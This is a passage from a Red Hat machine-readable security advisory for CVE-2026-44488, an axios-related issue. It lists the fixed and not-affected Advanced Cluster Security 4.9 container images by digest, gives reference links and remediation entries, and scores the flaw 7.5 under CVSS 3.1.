"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44488"
},
{
"category": "external",
"summary": "RHBZ#2487949",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487949"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44488"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44488",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44488"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf",
"url": "https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf"
}
],
"release_date": "2026-06-11T15:37:38.013000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
